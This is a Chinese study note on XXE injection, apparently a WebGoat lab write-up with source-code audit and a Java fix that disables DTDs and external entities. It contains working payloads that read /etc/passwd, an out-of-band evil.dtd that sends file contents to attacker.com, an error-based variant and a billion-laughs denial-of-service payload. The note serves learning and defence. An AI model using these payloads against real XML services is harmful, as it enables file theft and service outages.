XXE
XML实体
XML实体(Entity)是XML中用来定义可重用内容的机制,当XML文档被解析时,这些实体引用会被替换为实际内容。实体主要有三种类型:
- 内部实体:在文档内部定义的实体(是否开启根元素的约束)(#PCDATA)
<!DOCTYPE example [
<!ENTITY js "Jo Smith">
]>
<!-- 这部分就是DTD(XML文档的结构定义语言) -->
<user>&js;</user>
<!-- 如果没有约束,则只要在DTD中定义过,就可以在XML的任何地方使用 -->
---------------------------------------------------------------------
<!DOCTYPE example [
<!ENTITY js "Jo Smith">
<!ELEMENT example (#PCDATA)> <!-- 定义根元素必须是 example -->
]>
<example>&js;</example>
- 外部实体:引用外部资源的实体
<!DOCTYPE example [
<!ENTITY ext SYSTEM "http://example.com/file.txt">
]>
<data>&ext;</data>
- 参数实体:主要用于DTD内部的实体(以%开头)
<!DOCTYPE example [
<!ENTITY % param "file:///etc/passwd">
<!ENTITY ext SYSTEM "%param;">
]>
XXE注入
XXE攻击是一种针对XML处理应用程序的安全漏洞,当应用程序使用配置不当的XML解析器处理包含外部实体引用的输入时发生。
攻击类型:
- 经典XXE:
- 直接读取本地文件
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
- 盲注XXE:
- 没有直接输出,但可通过外带数据(OOB)技术获取信息
<!DOCTYPE test [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
%send;
]>
- %dtd;
立即触发加载并解析远程 evil.dtd 文件。
- %send;
evil.dtd 中定义了一个名为 send 的参数实体,用于执行恶意操作(如窃取数据)。
- evil.dtd中的内容
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % send "<!ENTITY exfiltrate SYSTEM 'http://attacker.com/steal?data=%payload;'>">
- 错误型XXE
- 通过错误消息泄露信息
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % error "<!ENTITY content SYSTEM '%non-existent;/%file;'>">
SimpleXXE
靶场

传入字段,要求列出文件系统的根目录
那就尝试一下

发现失败了,但是传回来一大串目录
原来是结构不对,再试一次

成功,另外这里也可以用file://协议
审计

其中commentStr是用户提交的XML评论信息
- 尝试解析用户提交的 XML 内容**(parseXml)**
- 添加评论到系统**(addComment)**
- 检查是否满足解决方案条件**(checkSolution)**
- 检查评论内容中是否包含这些系统目录
parseXml和addComment函数的具体实现

parseXml
- **初始化 ****JAXB **上下文
var jc = JAXBContext.newInstance(Comment.class);
为 Comment 类创建 JAXB 上下文,用于** XML 与 Java 对象的转换**。
- **<font style="color:#DF2A3F;">newInstance</font>**:构建JAXB实例
- **<font style="color:#DF2A3F;">Marshaller</font>**:将Java对象序列化为XML数据。
- **<font style="color:#DF2A3F;">Unmarshaller</font>**:将XML数据反序列化为Java对象
- 配置 XML 解析器****(安全部分)
var xif = XMLInputFactory.newInstance();
由securityEnabled参数判断是否开启禁用外部 DTD和外部 XML Schema的功能
- 解析 XML 并转换为对象
使用** XMLStreamReader **逐行解析 XML,再通过 JAXB 反序列化为 Comment 对象。
产生XXE注入的原因
var unmarshaller = jc.createUnmarshaller();
return (Comment) unmarshaller.unmarshal(xsr);
这里创建了一个** unmarshaller,**并且将xml对象反序列化为了comment对象(java对象)
由于 unmarshaller在执行过程中解析了xml,导致xxe注入
unmarshaller在将xml对象反序列化为java对象的时候,会解析xml,如果xml中有可控传入就会导致xxe注入攻击
修复
package XXE;
import lombok.var;
import javax.xml.bind.JAXBContext;
import javax.xml.bind.JAXBException;
import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamException;
import java.io.StringReader;
public class XXERepair {
public void Repair() throws JAXBException, XMLStreamException {
String xml = "<?xml version=\"1.0\"?>\n" +
"<!DOCTYPE doc [ \n" +
"<!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" +
"]><comment><text>&xxe;</text></comment>";
//定义了外部实体 xxe,尝试读取 /etc/passwd 文件。
if (xml.contains("<!ENTITY") || xml.contains("SYSTEM")) {
throw new IllegalArgumentException("Invalid XML content");
}
// 检测恶意 XML 内容
var jc = JAXBContext.newInstance(Comment.class);
var xif = XMLInputFactory.newInstance();
//创建 JAXB 上下文和 XML 解析工厂
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
// 禁用外部实体
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
// 完全禁用 DTD
var xsr = xif.createXMLStreamReader(new StringReader(xml));
//使用安全配置的解析器处理 XML。
// 将xml对象反序列化为java对象
var unmarshaller = jc.createUnmarshaller();
unmarshaller.unmarshal(xsr);
}
public static void main(String[] args) throws JAXBException, XMLStreamException {
XXERepair test = new XXERepair();
test.Repair();
}
}
ContentTypeAssignment
靶场

上传一个正常的发现是有提示的
“You are posting JSON which does not work with a XXE”,
那就改一下Content-Type头,改成 application/xml

成功
审计

和上一题的变化就是这里从请求包里读取了Content-Type
如果是json类型直接返回错误结果,如果是xml再继续执行
XXE DOS
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
** “十亿笑声攻击”**
定义了一个基础实体 &lol; 值为 “lol”
然后通过 指数级嵌套引用 (&lol1; → &lol9;) 逐层放大
&lol9展开后大概有 **3GB的内存 **
消耗服务器内存和CPU资源,导致 拒绝服务(DoS)
BlindSendFileAssignment
构造evil.dtd包
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY secret SYSTEM 'file://用 WebGoat 给的路径替换进来'>
抓包后构造
<?xml version="1.0"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://localhost:9090/files/(用户名)/evil.dtd">
%remote;
]>
<comment> <text> &secret;</text></comment>
相当于间接触发
源码部分差不多就是没有回显
更新: 2025-08-04 11:48:11
原文: https://www.yuque.com/cindahy/aqfzwf/wzhcle46s9qtyx35